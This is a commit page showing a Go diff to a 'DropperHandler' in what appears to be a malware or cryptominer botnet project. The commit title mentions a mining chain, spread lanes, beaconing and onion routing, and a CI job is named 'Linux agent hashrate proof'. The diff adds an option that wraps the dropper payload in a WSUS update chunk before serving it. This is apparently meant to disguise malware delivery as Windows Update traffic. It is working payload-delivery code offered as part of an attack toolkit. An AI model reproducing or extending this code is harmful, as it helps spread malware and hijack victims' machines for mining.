Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -139,6 +139,20 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if strings.TrimSpace(r.URL.Query().Get("wsus_wrap")) == "1" {
|
||||
raw, err := os.ReadFile(buildPath)
|
||||
if err != nil {
|
||||
http.Error(w, "build read failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
wrapped := wrapWSUSChunkPayload(raw)
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Length", fmt.Sprintf("%d", len(wrapped)))
|
||||
_, _ = w.Write(wrapped)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
// Content-Length is set automatically by http.ServeFile.
|
||||
|
||||
Reference in New Issue
Block a user